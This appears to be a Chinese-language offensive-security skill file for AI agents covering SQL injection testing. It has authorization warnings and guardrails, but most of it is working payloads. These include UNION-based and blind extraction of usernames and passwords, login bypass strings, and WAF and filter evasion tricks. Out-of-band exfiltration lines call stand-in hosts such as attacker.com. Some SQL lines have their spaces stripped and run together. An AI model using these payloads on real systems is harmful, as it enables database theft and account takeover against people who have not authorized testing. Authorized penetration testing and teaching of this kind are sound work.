name: sql-injection-testing
description: “Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms.”
risk: offensive
source: community
author: zebbern
date_added: “2026-02-27”
⚠️ 仅限授权使用
本技能仅用于教育目的或授权安全评估。
使用此工具前,你必须获得系统所有者的明确书面许可。
滥用此工具是非法的,严格禁止。
强制确认门禁
在运行任何针对目标进行探测、利用、修改、持久化、提取数据或尝试凭据访问的命令之前:
- 要求用户说明确切的目标 URL、IP、账户或资源。
- 要求用户确认书面授权和允许的范围。
- 显示确切的命令并解释其预期效果。
- 等待当前对话中的明确确认。
若无此确认,仅保持只读并提供防御性指导。建议使用沙箱、一次性虚拟机或受控实验环境。
仅限授权使用:仅将本技能用于授权安全评估、防御性验证或受控教育环境。
SQL 注入测试
目的
对 Web 应用执行全面的 SQL 注入漏洞评估,以识别数据库安全缺陷、演示利用技术并验证输入清理机制。本技能能够跨带内、盲注和带外攻击向量系统地检测和利用 SQL 注入漏洞,以评估应用安全态势。
输入 / 前置条件
所需访问权限
- 带有可注入参数的目标 Web 应用 URL
- Burp Suite 或等效代理工具,用于请求操纵
- 用于自动化利用的 SQLMap 安装
- 启用了开发者工具的浏览器
技术要求
- 理解 SQL 查询语法(MySQL、MSSQL、PostgreSQL、Oracle)
- 了解 HTTP 请求/响应周期
- 熟悉数据库模式和结构
- 具有测试报告的写入权限
法律前置条件
- 渗透测试的书面授权
- 明确定义的范围,包括目标 URL 和参数
- 已建立紧急联系程序
- 已签订数据处理协议
输出 / 交付物
主要输出
- 带有严重性评级的 SQL 注入漏洞报告
- 提取的数据库模式和表结构
- 认证绕过概念验证演示
- 带有代码示例的修复建议
证据工件
- 成功注入的截图
- HTTP 请求/响应日志
- 数据库转储(已脱敏)
- 载荷文档
核心工作流
阶段 1:检测与侦察
识别可注入参数
定位与数据库查询交互的用户控制输入字段:
# 常见注入点 - URL 参数:?id=1、?user=admin、?category=books - 表单字段:username、password、search、comments - Cookie 值:session_id、user_preference - HTTP 头:User-Agent、Referer、X-Forwarded-For测试基本漏洞指标
插入特殊字符以触发错误响应:
-- 单引号测试'-- 双引号测试"-- 注释序列--#/**/-- 用于查询堆叠的分号;-- 括号)监控应用响应:
- 泄露查询结构的数据库错误消息
- 意外应用行为变化
- HTTP 500 内部服务器错误
- 修改后的响应内容或长度
逻辑测试载荷
验证基于布尔的漏洞存在性:
-- 真条件测试page.asp?id=1or1=1page.asp?id=1' or 1=1-- page.asp?id=1" or 1=1-- -- 假条件测试 page.asp?id=1 and 1=2 page.asp?id=1'and1=2--比较真/假条件之间的响应以确认注入能力。
阶段 2:利用技术
基于 UNION 的提取
将攻击者控制的 SELECT 语句与原始查询结合:
-- 确定列数ORDERBY1--ORDERBY2--ORDERBY3---- 继续直到出错-- 找到可显示的列UNIONSELECTNULL,NULL,NULL--UNIONSELECT'a',NULL,NULL--UNIONSELECTNULL,'a',NULL---- 提取数据UNIONSELECTusername,password,NULLFROMusers--UNIONSELECTtable_name,NULL,NULLFROMinformation_schema.tables--UNIONSELECTcolumn_name,NULL,NULLFROMinformation_schema.columnsWHEREtable_name='users'--基于错误的提取
强制数据库错误以泄露信息:
-- MSSQL 版本提取1' AND 1=CONVERT(int,(SELECT @@version))-- -- 通过 XPATH 进行 MySQL 提取 1'ANDextractvalue(1,concat(0x7e,(SELECT@@version)))---- PostgreSQL 类型转换错误1'AND1=CAST((SELECTversion())ASint)--基于布尔的盲注提取
通过应用行为变化推断数据:
-- 字符提取1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- 1'AND(SELECTSUBSTRING(username,1,1)FROMusersLIMIT1)='b'---- 条件响应1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--基于时间的盲注提取
使用数据库 sleep 函数进行确认:
-- MySQL1' AND IF(1=1,SLEEP(5),0)-- 1'ANDIF((SELECTSUBSTRING(password,1,1)FROMusersWHEREusername='admin')='a',SLEEP(5),0)---- MSSQL1'; WAITFOR DELAY '0:0:5'-- -- PostgreSQL 1';SELECTpg_sleep(5)--带外(OOB)提取
通过外部渠道泄露数据:
-- MSSQL DNS 外带1;EXECmaster..xp_dirtree'\\attacker-server.com\share'---- MySQL DNS 外带1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))---- Oracle HTTP 请求1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--阶段 3:认证绕过
登录表单利用
构造载荷以绕过凭据验证:
-- 经典绕过admin'-- admin'/*' OR '1'='1' OR '1'='1'-- 'OR'1'='1'/*') OR ('1'='1') OR ('1'='1'-- -- 用户名枚举 admin'AND'1'='1 admin'AND'1'='2查询转换示例:
-- 原始查询SELECT*FROMusersWHEREusername='input'ANDpassword='input'-- security-allowlist: controlled SQL injection test example-- 注入后(用户名:admin'--)SELECT*FROMusersWHEREusername='admin'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example-- 密码检查被注释绕过阶段 4:过滤器绕过技术
字符编码绕过
当特殊字符被阻止时:
-- URL 编码%27(单引号)%22(双引号)%23(井号)-- 双重 URL 编码%2527(单引号)-- Unicode 替代U+0027(撇号) U+02B9(修饰字母 prime)-- 十六进制字符串(MySQL)SELECT*FROMusersWHEREname=0x61646D696E-- 'admin' 的十六进制空白字符绕过
替换被阻止的空格:
-- 注释替代SELECT/**/username/**/FROM/**/users SEL/**/ECT/**/username/**/FR/**/OM/**/users-- 替代空白字符SELECT%09username%09FROM%09users-- 制表符SELECT%0Ausername%0AFROM%0Ausers-- 换行符关键字绕过
规避被列入黑名单的 SQL 关键字:
-- 大小写变体SeLeCt,sElEcT,SELECT-- 内联注释SEL/*bypass*/ECT UN/*bypass*/ION-- 双重写入(如果过滤器只移除一次)SELSELECTECT →SELECTUNUNIONION →UNION-- 空字节注入%00SELECT SEL%00ECT快速参考
检测测试序列
1. 插入 ' → 检查是否有错误 2. 插入 " → 检查是否有错误 3. 尝试:OR 1=1-- → 检查行为变化 4. 尝试:AND 1=2-- → 检查行为变化 5. 尝试:' WAITFOR DELAY '0:0:5'-- → 检查延迟数据库指纹识别
-- MySQLSELECT@@versionSELECTversion()-- MSSQLSELECT@@versionSELECT@@servername-- PostgreSQLSELECTversion()-- OracleSELECTbannerFROMv$versionSELECT*FROMv$version信息模式查询
-- MySQL/MSSQL 表枚举SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schema=database()-- 列枚举SELECTcolumn_nameFROMinformation_schema.columnsWHEREtable_name='users'-- Oracle 等效查询SELECTtable_nameFROMall_tablesSELECTcolumn_nameFROMall_tab_columnsWHEREtable_name='USERS'常用载荷快速列表
| 用途 | 载荷 |
|---|---|
| 基本测试 | '或" |
| 布尔真 | OR 1=1-- |
| 布尔假 | AND 1=2-- |
| 注释(MySQL) | #或-- |
| 注释(MSSQL) | -- |
| UNION 探测 | UNION SELECT NULL-- |
| 时间延迟 | AND SLEEP(5)-- |
| 认证绕过 | ' OR '1'='1 |
约束与护栏
操作边界
- 未经明确授权,绝不执行破坏性查询(DROP、DELETE、TRUNCATE)
- 将数据提取限制在概念验证数量
- 避免通过资源密集型查询造成拒绝服务
- 检测到包含真实用户数据的生产数据库时立即停止
技术限制
- WAF/IPS 可能阻止常见载荷,需要规避技术
- 参数化查询可防止标准注入
- 某些盲注需要大量请求(速率限制问题)
- 二阶注入需要理解数据流
法律与道德要求
- 测试前必须存在书面范围协议
- 记录所有提取的数据并按数据保护要求处理
- 通过约定的渠道立即报告严重漏洞
- 绝不访问超出范围要求的数据
示例
示例 1:电子商务产品页 SQLi
场景:测试带 ID 参数的产品展示页
初始请求:
GET /product.php?id=5 HTTP/1.1检测测试:
GET /product.php?id=5' HTTP/1.1 响应:MySQL 错误 - 在 ''' 附近存在语法错误列枚举:
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1 响应:正常 GET /product.php?id=5 ORDER BY 5-- HTTP/1.1 响应:错误(确认 4 列)数据提取:
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1 响应:显示管理员凭据示例 2:基于时间的盲注提取
场景:无可见输出,测试盲注
确认漏洞:
id=5'ANDSLEEP(5)---- 响应延迟 5 秒(确认存在漏洞)提取数据库名称长度:
id=5'ANDIF(LENGTH(database())=8,SLEEP(5),0)---- 延迟确认数据库名称为 8 个字符提取字符:
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -- 逐字符迭代提取:'appstore'示例 3:登录绕过
目标:管理员登录表单
标准登录查询:
SELECT*FROMusersWHEREusername='[input]'ANDpassword='[input]'-- security-allowlist: controlled SQL injection test example注入载荷:
用户名:administrator'-- 密码:anything结果查询:
SELECT*FROMusersWHEREusername='administrator'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example结果:密码检查被绕过,以管理员身份认证成功。
故障排查
未显示错误消息
- 应用使用通用错误处理
- 改用盲注技术(布尔或时间)
- 监控响应长度差异而不是内容
UNION 注入失败
- 列数可能不正确 → 使用 ORDER BY 测试
- 数据类型可能不匹配 → 首先对所有列使用 NULL
- 结果可能不显示 → 找到可注入的列位置
WAF 阻止请求
- 使用编码技术(URL、十六进制、Unicode)
- 在关键字中插入内联注释
- 尝试相同操作的替代语法
- 跨多个参数拆分载荷
载荷未执行
- 验证数据库类型的正确注释语法
- 检查应用是否使用参数化查询
- 确认输入到达 SQL 查询(未被客户端过滤)
- 测试不同的注入点(头部、Cookie)
时间注入不一致
- 网络延迟可能导致误报
- 使用更长的延迟(10 秒以上)以获得清晰度
- 多次测试以确认模式
- 考虑服务器端缓存效应
使用时机
本技能适用于执行概述中描述的工作流或操作。